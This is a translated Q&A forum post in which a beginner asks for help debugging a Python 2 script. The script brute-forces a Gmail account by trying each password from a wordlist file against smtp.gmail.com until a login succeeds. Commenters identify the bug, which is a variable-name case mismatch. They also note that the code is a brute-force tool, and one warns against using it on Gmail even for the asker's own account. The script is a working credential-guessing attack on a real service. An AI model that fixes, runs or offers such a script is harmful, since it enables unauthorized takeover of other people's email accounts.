【发布时间】:2016-01-08 17:06:35
【问题描述】:
我是编程新手,但我正在尝试创建以下脚本。你能告诉我我做错了什么吗?
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = raw_input("Enter the target's email address: ")
Passwfile = raw_input("Enter the password file name: ")
Passwfile = open(passwfile, "r")
for password in passwfile:
try:
smtpserver.login(user, password)
print "[+] Password Found: %s" % password
break;
except smtplib.SMTPAuthenticationError:
print "[!] Password Incorrect: %s" % password
当我添加我的 wordlist.lst 文件时,我的终端中会出现一条错误消息,内容如下:
File "gmail.py", line 9, in <module>
Passwfile = open(passwfile, "r"
NameError: name 'passwfile' is not defined
请各位高手给点建议好吗? 我在 Kali Linux 上使用 Python 2.7.9(预先安装了 Python 2,所以我决定学习它而不是尝试 Python 3。)
【问题讨论】:
-
因为Passwfile != passwfile区分大小写,并且不要在try语句中加上break,所以还必须用
f.read();读取文件内容 -
顺便说一下,这个脚本看起来像是 gmail 帐户的暴力破解脚本:D
-
我是黑客新手,我试图入侵自己的帐户只是为了学习。
-
@RustyFlick:是的,这是个坏主意。只使用您控制的系统或专门为此目的设置的系统; Gmail 不属于这些类别之一,即使您的目标是您自己的帐户。
-
是的,你是对的。我想我现在应该学习它,等到我控制/拥有系统权限